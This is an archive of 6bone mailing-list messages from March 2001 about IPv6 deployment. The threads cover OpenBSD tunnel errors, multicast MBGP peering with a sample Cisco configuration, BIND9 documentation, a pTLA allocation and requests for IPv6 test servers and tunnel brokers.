> kristoff.bonne@skypro.be                         Faxbox :  +32 2 2435122
> 

-- 
					HoraPe
---
Horacio J. Peña
horape@compendium.com.ar
horape@uninet.edu
bofh@puntoar.net.ar
horape@hcdn.gov.ar

From 6bone-owner  Tue Mar 13 07:56:18 2001
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From: Antonio Querubin <tony@lava.net>
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Subject: Re: OpenBSD IPv6 problem
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On Tue, 6 Mar 2001, Kristoff Bonne wrote:

> But, I get two 'add' things:
> - When I configure a IPv6 over IPv4 tunnel, I always get a error-message:
> ifconfig: SIOCDIFADDR: Address family not supported by protocol family
>
> But, the config does work and a 'ifconfig' does show what it is suppost
> to:
> gif1: flags=8011<UP,POINTOPOINT,MULTICAST> mtu 1280
>         physical address inet 195.13.8.131 --> 195.13.17.26
>         inet6 fe80::210:4bff:fe3f:b495%gif1 -> :: prefixlen 64 scopeid
> 0x12
>         inet6 3ffe:80b0:1001:ff::3 -> 3ffe:80b0:1001:ff::2 prefixlen 127

In /etc/sysctl.conf try setting net.inet6.ip6.accept_rtadv=1 and/or doing
a 'rtadvd gif1'.




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From: Pim van Pelt <pim@bfib.ipng.nl>
Message-Id: <200103062151.f26LpJV03923@bfib.ipng.nl>
Subject: Re: DHCP
To: flider@ltrgm.ee.itb.ac.id (R. Flidersan)
Date: Tue, 6 Mar 2001 22:51:18 +0100 (CET)
Cc: horape@tinuviel.compendium.net.ar, pekkas@netcore.fi (Pekka Savola),
        itojun@iijlab.net, 6bone@ISI.EDU
In-Reply-To: <Pine.LNX.4.10.10103062338560.4635-100000@ltrgm.ee.itb.ac.id> from "R.  Flidersan" at Mar 06, 2001 11:40:34 PM
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>  Hello Guys?
>  
> Could you tell me about DHCP,I need to get the source code for a DCHP 
> server and some
> test software.
ftp://ftp.isc.org/isc/dhcp/ has the leading software program.

You can google for 'dhclient' also, which is a client-side program from
another author - many people use this as client.

regards,
Pim

-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

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To: Kristoff Bonne <kristoff.bonne@skypro.be>
cc: 6bone@ISI.EDU
In-reply-to: kristoff.bonne's message of Tue, 06 Mar 2001 16:10:16 +0100.
      <Pine.LNX.4.21.0103061555490.14593-100000@frigg.belbone.net>
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Subject: Re: OpenBSD IPv6 problem
From: itojun@iijlab.net
Date: Wed, 07 Mar 2001 01:41:07 +0900
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>I know this is not the most-correct place to ask things about IPv6 OpenBSD
>problems, but I do not get any reply when I post in the openbsd
>newsgroups; nor in the IPv6 OpenBSD mailing-list.
>
>I have a number of PCs running OpenBSD 2.8 and Zebra; I would like to use
>as BGP4+ peering mesh.
>
>But, I get two 'add' things:
>- When I configure a IPv6 over IPv4 tunnel, I always get a error-message:
>ifconfig: SIOCDIFADDR: Address family not supported by protocol family

	i guess this is due to some issue in /sbin/ifconfig.
	please ignore it for now.

>- In the log-file, I keep on getting the folling message:
>Mar  6 15:59:46 bgppai /bsd: nd6_lookup: failed to add route for a
>neighbor(3ffe:80b0:1001:00ff::0002), errno=17
>What is 'error nr. 17'?

>        inet6 3ffe:80b0:1001:ff::3 -> 3ffe:80b0:1001:ff::2 prefixlen 127

	the above error is generated because of this configuration.
	please use either of the following:

	ifconfig gif1 inet6 3ffe:80b0:1001:ff::3 3ffe:80b0:1001:ff::2 prefixlen 128 alias
	ifconfig gif1 inet6 3ffe:80b0:1001:ff::3 prefixlen 64 alias

	if you specify both of the addresses, use prefixlen = 128; otherwise,
	use prefixlen = 64 (or 127 if you really want to).

	latest KAME code checks the condition on ioctl time.

itojun

From 6bone-owner  Tue Mar 13 11:33:40 2001
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From: "Staikos, Aristides CECOM RDEC STCD"
	 <Aristides.Staikos@mail1.monmouth.army.mil>
To: 6bone@ISI.EDU
Subject: FreeBSD 4.2 & NetBSD 1.5 issue
Date: Tue, 13 Mar 2001 14:33:14 -0500
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I am running both OSs on and IPv6 network and I have noticed that in both
OSs, the ethernet interface drops its global IPv6 address and then gets it
back (within approximately 30 sec.).  Has anyone else seen this happening?
Does not happed on FreeBSD 4.0 system.

Aristides Staikos
Phone: (732)427-4134, DSN: 987-4134
Fax: (732)427-2564
AMSEL-RD-ST-WL-PR
Fort Monmouth, NJ 07703
email:Staikos@mail1.monmouth.army.mil


From 6bone-owner  Wed Mar 14 15:30:36 2001
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From: Antonio Querubin <tony@lava.net>
To: <6bone@ISI.EDU>, <mbone@ISI.EDU>
Subject: multicast peering over 6Bone?
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I'm looking for anyone willing to test multicast routing over the 6Bone.
In particular, I'd like to setup MBGP peering connections with others who
may also be running a multicast-enabled pTLA or subTLA.



From 6bone-owner  Thu Mar 15 07:14:21 2001
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CC: 6bone@ISI.EDU, mbone@ISI.EDU
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Antonio Querubin wrote:

> I'm looking for anyone willing to test multicast routing over the 6Bone.
> In particular, I'd like to setup MBGP peering connections with others who
> may also be running a multicast-enabled pTLA or subTLA.

We intend to start this RSN. Please keep me in the loop.



--
                                 Regards
                                 Marshall Eubanks



T.M. Eubanks
Multicast Technologies, Inc
10301 Democracy Lane, Suite 410
Fairfax, Virginia 22030
Phone : 703-293-9624
Fax     : 703-293-9609
e-mail : tme@on-the-i.com     tme@multicasttech.com

http://www.on-the-i.com http://www.buzzwaves.com



From 6bone-owner  Thu Mar 15 09:39:08 2001
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Date: Thu, 15 Mar 2001 12:38:40 -0500 (EST)
From: "William F. Maton" <wmaton@ryouko.dgim.crc.ca>
Reply-To: wmaton@ryouko.dgim.crc.ca
To: Marshall Eubanks <tme@21rst-century.com>
cc: Antonio Querubin <tony@lava.net>, 6bone@ISI.EDU, mbone@ISI.EDU
Subject: Re: multicast peering over 6Bone?
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On Thu, 15 Mar 2001, Marshall Eubanks wrote:

> Antonio Querubin wrote:
> 
> > I'm looking for anyone willing to test multicast routing over the 6Bone.
> > In particular, I'd like to setup MBGP peering connections with others who
> > may also be running a multicast-enabled pTLA or subTLA.
> 
> We intend to start this RSN. Please keep me in the loop.

Intriguing.  We do have quite a bit of multicast gear here, and we have an
IPv6 BGP peer (OK, two).  What do you have in mind?

BTW, I'm still the looking glass problem.

> 
> 
> 
> --
>                                  Regards
>                                  Marshall Eubanks
> 
> 
> 
> T.M. Eubanks
> Multicast Technologies, Inc
> 10301 Democracy Lane, Suite 410
> Fairfax, Virginia 22030
> Phone : 703-293-9624
> Fax     : 703-293-9609
> e-mail : tme@on-the-i.com     tme@multicasttech.com
> 
> http://www.on-the-i.com http://www.buzzwaves.com
> 
> 



wfms


From 6bone-owner  Thu Mar 15 11:17:59 2001
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CC: Marshall Eubanks <tme@21rst-century.com>, Antonio Querubin <tony@lava.net>,
        6bone@ISI.EDU
Subject: Re: multicast peering over 6Bone?
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I think we would be interested also. Currently we just have a tunnel 
connection (with BGP), but within a month I hope to get a pTLA and 
native connection through 6Tap.

Please keep me informed of what is going on in this area.

Thanks,
Joe

William F. Maton wrote:

> On Thu, 15 Mar 2001, Marshall Eubanks wrote:
> 
> 
>> Antonio Querubin wrote:
>> 
>> 
>>> I'm looking for anyone willing to test multicast routing over the 6Bone.
>>> In particular, I'd like to setup MBGP peering connections with others who
>>> may also be running a multicast-enabled pTLA or subTLA.
>> 
>> We intend to start this RSN. Please keep me in the loop.
> 
> 
> Intriguing.  We do have quite a bit of multicast gear here, and we have an
> IPv6 BGP peer (OK, two).  What do you have in mind?
> 
> BTW, I'm still the looking glass problem.
> 
> 
>> 
>> 
>> --
>>                                  Regards
>>                                  Marshall Eubanks
>> 
>> 
>> 
>> T.M. Eubanks
>> Multicast Technologies, Inc
>> 10301 Democracy Lane, Suite 410
>> Fairfax, Virginia 22030
>> Phone : 703-293-9624
>> Fax     : 703-293-9609
>> e-mail : tme@on-the-i.com     tme@multicasttech.com
>> 
>> http://www.on-the-i.com http://www.buzzwaves.com
>> 
>> 
> 
> 
> 
> 
> wfms


From 6bone-owner  Thu Mar 15 11:26:05 2001
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Date: Thu, 15 Mar 2001 09:25:52 -1000 (HST)
From: Antonio Querubin <tony@lava.net>
To: "William F. Maton" <wmaton@ryouko.dgim.crc.ca>
cc: Marshall Eubanks <tme@21rst-century.com>, <6bone@ISI.EDU>, <mbone@ISI.EDU>
Subject: Re: multicast peering over 6Bone?
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On Thu, 15 Mar 2001, William F. Maton wrote:

> On Thu, 15 Mar 2001, Marshall Eubanks wrote:
>
> > Antonio Querubin wrote:
> >
> > > I'm looking for anyone willing to test multicast routing over the 6Bone.
> > > In particular, I'd like to setup MBGP peering connections with others who
> > > may also be running a multicast-enabled pTLA or subTLA.
> >
> > We intend to start this RSN. Please keep me in the loop.
>
> Intriguing.  We do have quite a bit of multicast gear here, and we have an
> IPv6 BGP peer (OK, two).  What do you have in mind?

Well, setup the MBGP peering first.  I'm not sure how we're gonna handle
the RP peering though (I'm assuming most folks are using PIM sparse and/or
dense mode).

> BTW, I'm still the looking glass problem.

Seems to be ok now.


From 6bone-owner  Thu Mar 15 11:35:21 2001
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CC: Antonio Querubin <tony@lava.net>, 6bone@ISI.EDU, mbone@ISI.EDU
Subject: Re: multicast peering over 6Bone?
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"William F. Maton" wrote:

> On Thu, 15 Mar 2001, Marshall Eubanks wrote:
>
> > Antonio Querubin wrote:
> >
> > > I'm looking for anyone willing to test multicast routing over the 6Bone.
> > > In particular, I'd like to setup MBGP peering connections with others who
> > > may also be running a multicast-enabled pTLA or subTLA.
> >
> > We intend to start this RSN. Please keep me in the loop.
>
> Intriguing.  We do have quite a bit of multicast gear here, and we have an
> IPv6 BGP peer (OK, two).  What do you have in mind?
>

We want to build towards offering SSM multicast streams in IPv6.


>
> BTW, I'm still the looking glass problem.
>
> >
> >
>
> wfms




--
                                 Regards
                                 Marshall Eubanks



T.M. Eubanks
Multicast Technologies, Inc
10301 Democracy Lane, Suite 410
Fairfax, Virginia 22030
Phone : 703-293-9624
Fax     : 703-293-9609
e-mail : tme@on-the-i.com     tme@multicasttech.com

http://www.on-the-i.com http://www.buzzwaves.com



From 6bone-owner  Thu Mar 15 11:36:57 2001
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To: Antonio Querubin <tony@lava.net>
CC: "William F. Maton" <wmaton@ryouko.dgim.crc.ca>, 6bone@ISI.EDU,
        mbone@ISI.EDU
Subject: Re: multicast peering over 6Bone?
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Antonio Querubin wrote:

> On Thu, 15 Mar 2001, William F. Maton wrote:
>
> > On Thu, 15 Mar 2001, Marshall Eubanks wrote:
> >
> > > Antonio Querubin wrote:
> > >
> > > > I'm looking for anyone willing to test multicast routing over the 6Bone.
> > > > In particular, I'd like to setup MBGP peering connections with others who
> > > > may also be running a multicast-enabled pTLA or subTLA.
> > >
> > > We intend to start this RSN. Please keep me in the loop.
> >
> > Intriguing.  We do have quite a bit of multicast gear here, and we have an
> > IPv6 BGP peer (OK, two).  What do you have in mind?
>
> Well, setup the MBGP peering first.  I'm not sure how we're gonna handle
> the RP peering though (I'm assuming most folks are using PIM sparse and/or
> dense mode).

PIM-SM is the only one really worthy of much consideration IMHO.
My understanding is that SSM can be done now.

>
>
> > BTW, I'm still the looking glass problem.
>
> Seems to be ok now.




--
                                 Regards
                                 Marshall Eubanks



T.M. Eubanks
Multicast Technologies, Inc
10301 Democracy Lane, Suite 410
Fairfax, Virginia 22030
Phone : 703-293-9624
Fax     : 703-293-9609
e-mail : tme@on-the-i.com     tme@multicasttech.com

http://www.on-the-i.com http://www.buzzwaves.com



From 6bone-owner  Fri Mar 16 01:49:06 2001
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From: Pim van Pelt <pim@bfib.ipng.nl>
Message-Id: <200103160947.f2G9lpp05420@bfib.ipng.nl>
Subject: Multicast configuration 
To: tme@21rst-century.com
Date: Fri, 16 Mar 2001 10:47:51 +0100 (CET)
Cc: 6bone@ISI.EDU
In-Reply-To: <3AB118EF.27752CD4@21rst-century.com> from "Marshall Eubanks" at Mar 15, 2001 02:33:03 PM
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Dear people,

A lot of attention in the multicast field.  Excellent!

I'm running on the native AMS-v6-IX with some Cisco 3640s and am wondering how one would
set up multicast BGP sessions. I'm not that smart with IOS but if someone can give out
his/her configuration (snippets) then I think many of the lists subscribers would have
some clues.

Of course, I'm open for any peering requests at or neer AMS-IX.
212.19.192.218 			IPv4
3ffe:8110::1/2001:6e0::1	IPv6

regards,
Pim (not the protocol, the person :)


-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From 6bone-owner  Fri Mar 16 05:20:40 2001
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From: "William F. Maton" <wmaton@ryouko.dgim.crc.ca>
Reply-To: wmaton@ryouko.dgim.crc.ca
To: Pim van Pelt <pim@bfib.ipng.nl>
cc: tme@21rst-century.com, 6bone@ISI.EDU
Subject: Re: Multicast configuration 
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On Fri, 16 Mar 2001, Pim van Pelt wrote:

> A lot of attention in the multicast field.  Excellent!
> 
> I'm running on the native AMS-v6-IX with some Cisco 3640s and am wondering how one would
> set up multicast BGP sessions. I'm not that smart with IOS but if someone can give out
> his/her configuration (snippets) then I think many of the lists subscribers would have
> some clues.

Well, from what I can see (and thanks to Antonio Querebin for pointing
this out), the Cisco's currently don't do MBGP over IPv6 - But Zebra does.
So if you have a box that can run IPv6, you might look at installing Zebra
and trying that out.

For IPv4 MBGP, my Cisco has this:

router bgp 818
!
etc
!
 address-family ipv4 multicast
 redistribute ospf 818
 neighbor 142.92.10.82 activate
 neighbor 142.92.10.82 send-community
 neighbor 142.92.39.75 activate
 neighbor 142.92.39.75 send-community
 neighbor 205.189.32.218 activate
 neighbor 205.189.32.218 next-hop-self
 neighbor 205.189.32.218 send-community
 neighbor 205.189.32.218 soft-reconfiguration inbound
 neighbor 205.189.32.218 route-map Set_Community out
 bgp dampening
 network 142.62.0.0
 network 142.92.0.0
 network 192.75.72.0
 aggregate-address 142.62.0.0 255.255.0.0 summary-only
 aggregate-address 142.92.0.0 255.255.0.0 summary-only
 exit-address-family
!

This is on 12.1(7).

> 
> Of course, I'm open for any peering requests at or neer AMS-IX.
> 212.19.192.218 			IPv4
> 3ffe:8110::1/2001:6e0::1	IPv6
> 
> regards,
> Pim (not the protocol, the person :)
> 
> 
> -- 
> ---------- - -    - - -+- - -    - - ----------
> Pim van Pelt                 Email: pim@ipng.nl
> http://www.ipng.nl/             IPv6 Deployment
> -----------------------------------------------
> 



wfms


From 6bone-owner  Fri Mar 16 07:20:30 2001
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Date: Fri, 16 Mar 2001 10:21:11 -0500
From: Andrea Reitzel <areitzel@mci.net>
Subject: RE: Multicast configuration
In-reply-to: <200103160947.f2G9lpp05420@bfib.ipng.nl>
To: Pim van Pelt <pim@bfib.ipng.nl>, tme@21rst-century.com
Cc: 6bone@ISI.EDU
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Cisco doesn't support v6 multicast in their v6 IOS yet.  Their v6 "Statement
of direction" states it will be available "beyond mid-2001".

> -----Original Message-----
> From: owner-6bone@ISI.EDU [mailto:owner-6bone@ISI.EDU]On Behalf Of Pim
> van Pelt
> Sent: Friday, March 16, 2001 4:48 AM
> To: tme@21rst-century.com
> Cc: 6bone@ISI.EDU
> Subject: Multicast configuration
>
>
> Dear people,
>
> A lot of attention in the multicast field.  Excellent!
>
> I'm running on the native AMS-v6-IX with some Cisco 3640s and am
> wondering how one would
> set up multicast BGP sessions. I'm not that smart with IOS but if
> someone can give out
> his/her configuration (snippets) then I think many of the lists
> subscribers would have
> some clues.
>
> Of course, I'm open for any peering requests at or neer AMS-IX.
> 212.19.192.218 			IPv4
> 3ffe:8110::1/2001:6e0::1	IPv6
>
> regards,
> Pim (not the protocol, the person :)
>
>
> --
> ---------- - -    - - -+- - -    - - ----------
> Pim van Pelt                 Email: pim@ipng.nl
> http://www.ipng.nl/             IPv6 Deployment
> -----------------------------------------------


From 6bone-owner  Sat Mar 17 17:17:19 2001
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From: peter deVries <pdevries@ihug.com.au>
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I know this isin't really the right place for this but, I'm looking for
bind9 howto's and any related documentation.  I you've got some or know
of a good site to help pls msg me

thankyou in advance
--
       Peter deVries
       Information Technology Manager
       Ensomnia Creative Media
       P.O Box 2050 Toowong
       Qld, Australia, 4067
       Email: peter@ensomnia.com.au



From 6bone-owner  Sat Mar 17 17:57:45 2001
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Date: Sun, 18 Mar 2001 02:49:25 +0100 (MET)
From: Gianluca Capitani <capitani@sun1.spfo.unibo.it>
To: peter deVries <pdevries@ihug.com.au>
cc: 6bone <6bone@ISI.EDU>
Subject: Re: BIND 9
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Hello,
in
http://www.nominum.com/resources/documentation/index.html
you find the administrator reference manual for BIND9.
....      Bye Gianluca C...

On Sun, 18 Mar 2001, peter deVries wrote:

> I know this isin't really the right place for this but, I'm looking for
> bind9 howto's and any related documentation.  I you've got some or know
> of a good site to help pls msg me
> 
> thankyou in advance
> --
>        Peter deVries
>        Information Technology Manager
>        Ensomnia Creative Media
>        P.O Box 2050 Toowong
>        Qld, Australia, 4067
>        Email: peter@ensomnia.com.au
> 
> 
> 

From 6bone-owner  Sat Mar 17 17:59:04 2001
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From: Gianluca Capitani <capitani@sun1.spfo.unibo.it>
To: peter deVries <pdevries@ihug.com.au>
cc: 6bone <6bone@ISI.EDU>
Subject: Re: BIND 9
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In http://www.nominum.com/products/BIND/bind9.1.0.features.html
the new feature of BIND 9.1.0 the most recent stable version 
of bind...    Regards,  Gianluca C...

On Sun, 18 Mar 2001, peter deVries wrote:

> I know this isin't really the right place for this but, I'm looking for
> bind9 howto's and any related documentation.  I you've got some or know
> of a good site to help pls msg me
> 
> thankyou in advance
> --
>        Peter deVries
>        Information Technology Manager
>        Ensomnia Creative Media
>        P.O Box 2050 Toowong
>        Qld, Australia, 4067
>        Email: peter@ensomnia.com.au
> 
> 
> 

From 6bone-owner  Mon Mar 19 15:23:22 2001
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Date: Mon, 19 Mar 2001 14:58:00 -0800
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: 6bone pTLA 3FFE:8180::/28 allocated to TIAI
Cc: Bill Manning <bmanning@ISI.EDU>, Jason <jslagle@toledolink.com>
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Toledo Internet Access (TIAI) has been allocated pTLA 3FFE:8180::/28 having 
finished its 2-week review period with no negative comments.

<http://whois.6bone.net/cgi-bin/whois?tiai>


Note that it will take a short while for their inet6num entry to appear in 
the 6bone registry as they have to create it themselves. However, their 
registration is listed on:

<http://www.6bone.net/6bone_pTLA_list.html>


Thanks,

Bob


From 6bone-owner  Mon Mar 19 20:10:40 2001
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True or not ?????????????




From 6bone-owner  Tue Mar 20 09:21:04 2001
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Date: Wed, 21 Mar 2001 00:20:14 +0700 (JAVT)
From: Parlindungan SP <parlin_sp@students.ee.itb.ac.id>
To: 6bone@ISI.EDU
Subject: IP AH and IP ESP
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could all u tell me, where the place or web-addresses i can get source
code for IP AH and IP ESP ?

thanks before,

-- 
            ---parl's---

        


From 6bone-owner  Tue Mar 20 16:34:41 2001
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From: <ian@thornlea.net>
To: "6Bone Mailing List" <6bone@ISI.EDU>
Subject: looking for a reliable ipv6 accessible public web or ftp server
Date: Wed, 21 Mar 2001 00:33:20 -0000
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------=_NextPart_000_0055_01C0B19E.87CD4620
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I wish to be able to use ftp or http to verify operation of my =
connection - I can ping6 thnigs no problem but when I tried accessing =
some of the IPv6 reachable servers listed on the 6bone page - I wasn't =
able to connect - I am not sure if this is a problem with my =
configuration or the server(s) - if anyone knows a reliable IPv6 =
accessible server I could try please let me know

regards

Ian

------=_NextPart_000_0055_01C0B19E.87CD4620
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<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR>
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<DIV><FONT face=3DArial size=3D2>I wish to be able to use ftp or http to =
verify=20
operation of my connection - I can ping6 thnigs no problem but when I =
tried=20
accessing some of the IPv6 reachable servers listed on the 6bone page - =
I wasn't=20
able to connect - I am not sure if this is a problem with my =
configuration or=20
the server(s) - if anyone knows a reliable IPv6 accessible server I =
could try=20
please let me know</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>regards</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Ian</FONT></DIV></BODY></HTML>

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From 6bone-owner  Tue Mar 20 19:40:37 2001
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From: vv00@eazier.com
To: 6bone@ISI.EDU
Reply-to: <vv00@eazier.com>
Subject: cisco router connect
Date: Wed, 21 Mar 2001 12:06:41 CST
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Hello everyone,
    now i have a cisco3640 router and want to connect to one site of 6bone,what should i do now to fufill the target?
thanks

vv00

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»¶Ó­·ÃÎÊ¡¡http://mail.eazier.com


From 6bone-owner  Tue Mar 20 19:48:30 2001
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CC: 6Bone Mailing List <6bone@ISI.EDU>
Subject: Re: looking for a reliable ipv6 accessible public web or ftp server
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> ian@thornlea.net wrote:
> 
> I wish to be able to use ftp or http to verify operation of my
> connection - I can ping6 thnigs no problem but when I tried accessing
> some of the IPv6 reachable servers listed on the 6bone page - I wasn't
> able to connect - I am not sure if this is a problem with my
> configuration or the server(s) - if anyone knows a reliable IPv6
> accessible server I could try please let me know
> 
> regards
> 
> Ian

http://www.kame.net should be reliable, sometimes slow.
http://www.ipv6.fbc-hanover.org should be good, if not let me know.

Jim
-- 
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From 6bone-owner  Wed Mar 21 01:41:31 2001
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From: Pim van Pelt <pim@bfib.ipng.nl>
Message-Id: <200103210940.f2L9ebg23476@bfib.ipng.nl>
Subject: Re: cisco router connect
To: vv00@eazier.com
Date: Wed, 21 Mar 2001 10:40:37 +0100 (CET)
Cc: 6bone@ISI.EDU
In-Reply-To: <20010321120641.1> from "vv00@eazier.com" at Mar 21, 2001 12:06:41 PM
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vv00,

You connect your Cisco to the IPv4 Internet, and request a tunnel from
an (upstream) IPv6 site. They can assign to you, some of their IPv6
address space so you can use it.

You can set up BGP sessions with multiple sites using multiple tunnels.
Once you are on the 6bone for several months with hands' on experience,
you may want to request your own addressspace via your RIR or via
the 6Bone.

groet,
Pim
> 
> Hello everyone,
>     now i have a cisco3640 router and want to connect to one site of 6bone,what should i do now to fufill the target?
> thanks
> 
> vv00
> 
> -----------------------------------------------------------------
> »¶Ó­·ÃÎÊ¡¡http://mail.eazier.com
> 


-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From 6bone-owner  Wed Mar 21 01:44:41 2001
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From: Pim van Pelt <pim@bfib.ipng.nl>
Message-Id: <200103210943.f2L9h5b23492@bfib.ipng.nl>
Subject: Re: looking for a reliable ipv6 accessible public web or ftp server
To: ian@thornlea.net
Date: Wed, 21 Mar 2001 10:43:05 +0100 (CET)
Cc: 6bone@ISI.EDU (6Bone Mailing List)
In-Reply-To: <005801c0b19e$889e51c0$3ed8893e@thunder> from "ian@thornlea.net" at Mar 21, 2001 12:33:20 AM
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> 
> I wish to be able to use ftp or http to verify operation of my =
> connection - I can ping6 thnigs no problem but when I tried accessing =
> some of the IPv6 reachable servers listed on the 6bone page - I wasn't =
> able to connect - I am not sure if this is a problem with my =
> configuration or the server(s) - if anyone knows a reliable IPv6 =
> accessible server I could try please let me know
A common mistake for people to make is setting a route like this:
3ffe::/16	via gateway <your uplink>

Which will make your router only forward packets destined for the 6bone.
A better route would be (2000 chosen for esthetical reasons):
2000::/3	via gateway <your uplink>

Which will route traffic for 2001::/16, 2002::/16 (6to4) and 3ffe::/16 (6bone)
over your box. Good luck!

groet,
Pim

-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From 6bone-owner  Wed Mar 21 02:32:59 2001
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From: Feico Dillema <feico@pasta.cs.uit.no>
To: ian@thornlea.net
Cc: 6Bone Mailing List <6bone@ISI.EDU>
Subject: Re: looking for a reliable ipv6 accessible public web or ftp server
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On Wed, Mar 21, 2001 at 12:33:20AM -0000, ian@thornlea.net wrote:
> I wish to be able to use ftp or http to verify operation of my connection - I can ping6 thnigs no problem but when I tried accessing some of the IPv6 reachable servers listed on the 6bone page - I wasn't able to connect - I am not sure if this is a problem with my configuration or the server(s) - if anyone knows a reliable IPv6 accessible server I could try please let me know

Our server is pretty reliable (uptime of months) and our path to the
6bone is much more reliable nowadays:

http://www.pasta.cs.uit.no (you'll see 6bone logo if you get there via IPv6)
ftp://ftp.pasta.cs.uit.no

Feico.

From 6bone-owner  Wed Mar 21 02:38:06 2001
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From: vv00@eazier.com
To: pim@bfib.ipng.el
Cc: 6bone@ISI.EDU
Reply-to: <vv00@eazier.com>
Subject: give me some site pls?
Date: Wed, 21 Mar 2001 19:04:09 CST
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Could you pls give me some site who provides static tunnel --not shortterm.
Thank you!

Regards,
vv00


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From 6bone-owner  Wed Mar 21 04:40:41 2001
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From: "William F. Maton" <wmaton@ryouko.dgim.crc.ca>
Reply-To: wmaton@ryouko.dgim.crc.ca
To: ian@thornlea.net
cc: 6Bone Mailing List <6bone@ISI.EDU>
Subject: Re: looking for a reliable ipv6 accessible public web or ftp server
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On Wed, 21 Mar 2001 ian@thornlea.net wrote:

> I wish to be able to use ftp or http to verify operation of my connection - I can ping6 thnigs no problem but when I tried accessing some of the IPv6 reachable servers listed on the 6bone page - I wasn't able to connect - I am not sure if this is a problem with my configuration or the server(s) - if anyone knows a reliable IPv6 accessible server I could try please let me know

Two places to try:

FTP: ftp.ipv6.crc.ca
HTTP: http://stats.ipv6.crc.ca/cgi-bin/j-e

> 
> regards
> 
> Ian
> 



wfms


From 6bone-owner  Wed Mar 21 05:27:36 2001
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From: Byron Sorgdrager <bs@posix.co.za>
Date: Wed, 21 Mar 2001 13:26:11 GMT
Message-ID: <20010321.13261100@firestar.posix.co.za>
Subject: Re: give me some site pls?
To: <vv00@eazier.com>
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Hi there,

You can try www.freenet6.net or www.viagenie.qc.ca (The freenet project 
is run by Viagenie as far as I'm aware)

Kind Regards

Byron

>>>>>>>>>>>>>>>>>> Original Message <<<<<<<<<<<<<<<<<<

On 3/21/01, 9:04:09 PM, vv00@eazier.com wrote regarding give me some site 
pls?:


> Could you pls give me some site who provides static tunnel --not 
shortterm.
> Thank you!

> Regards,
> vv00


> -----------------------------------------------------------------
> »¶Ó­·ÃÎÊ¡¡http://mail.eazier.com

From 6bone-owner  Wed Mar 21 06:13:03 2001
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From: Del Swingle <dswingle@scoutpro.com>
To: "'vv00@eazier.com'" <vv00@eazier.com>, "'6bone@ISI.EDU'"
	 <6bone@ISI.EDU>
Subject: RE: cisco router connect
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You can connect via www.freenet6.net. They will provide you with a
4-to-6 tunnel.

Have you successfully upgraded your IOS? The reason I ask is that I had
some trouble with the IPv6 IOS for the 3620?



-----Original Message-----
From: owner-6bone@ISI.EDU [mailto:owner-6bone@ISI.EDU]On Behalf Of
vv00@eazier.com
Sent: Wednesday, March 21, 2001 10:07 AM
To: 6bone@ISI.EDU
Subject: cisco router connect


Hello everyone,
    now i have a cisco3640 router and want to connect to one site of
6bone,what should i do now to fufill the target?
thanks

vv00

-----------------------------------------------------------------
??¨®-¡¤??¨º??http://mail.eazier.com


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bereng ma di dompet hi lae sitorus..hehehehe
adong do rai nanggo paa sabungkus... okay

On Wed, 21 Mar 2001, Parlindungan SP wrote:

> 
> could all u tell me, where the place or web-addresses i can get source
> code for IP AH and IP ESP ?
> 
> thanks before,
> 
> -- 
>             ---parl's---
> 
>         
> 


From 6bone-owner  Wed Mar 21 06:46:01 2001
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From: "Maria Gennatou" <mgenn@internet.gr>
To: <6bone@ISI.EDU>
Subject: info 
Date: Wed, 21 Mar 2001 16:46:03 +0200
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Hello everyone.

Our company, Internet Hellas SA, is a Greek ISP of the category large.

We are interested in joining the 6bone  and it seems that the first step is
to find somebody to allocate us a pSLA or a pNLA out of their address space.
Can anyone tell if there is a specific procedure that I should follow?
Any information would be helpful.

Thanks in advance,

-------------------------
Maria Gennatou
Networks Operations Centre
Internet Hellas
-------------------------


From 6bone-owner  Wed Mar 21 08:32:51 2001
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Reply-To: "Todd Whipple" <twhipple@zama.net>
From: "Todd Whipple" <whipple@zama.net>
To: <ian@thornlea.net>, "6Bone Mailing List" <6bone@ISI.EDU>
References: <005801c0b19e$889e51c0$3ed8893e@thunder>
Subject: Re: looking for a reliable ipv6 accessible public web or ftp server
Date: Wed, 21 Mar 2001 08:32:36 -0800
Organization: Zama Networks, Inc.
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This is a multi-part message in MIME format.

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You can use www.zamanetworks.com to verify http. =20

Todd Whipple
Zama Networks, Inc.

  ----- Original Message -----=20
  From: ian@thornlea.net=20
  To: 6Bone Mailing List=20
  Sent: Tuesday, March 20, 2001 4:33 PM
  Subject: looking for a reliable ipv6 accessible public web or ftp =
server


  I wish to be able to use ftp or http to verify operation of my =
connection - I can ping6 thnigs no problem but when I tried accessing =
some of the IPv6 reachable servers listed on the 6bone page - I wasn't =
able to connect - I am not sure if this is a problem with my =
configuration or the server(s) - if anyone knows a reliable IPv6 =
accessible server I could try please let me know

  regards

  Ian

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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.3103.1000" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>You can use <A=20
href=3D"http://www.zamanetworks.com">www.zamanetworks.com</A> to verify=20
http.&nbsp; </FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Todd Whipple</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Zama Networks, Inc.</FONT></DIV>
<DIV>&nbsp;</DIV>
<BLOCKQUOTE=20
style=3D"BORDER-LEFT: #000000 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: =
0px; PADDING-LEFT: 5px; PADDING-RIGHT: 0px">
  <DIV style=3D"FONT: 10pt arial">----- Original Message ----- </DIV>
  <DIV=20
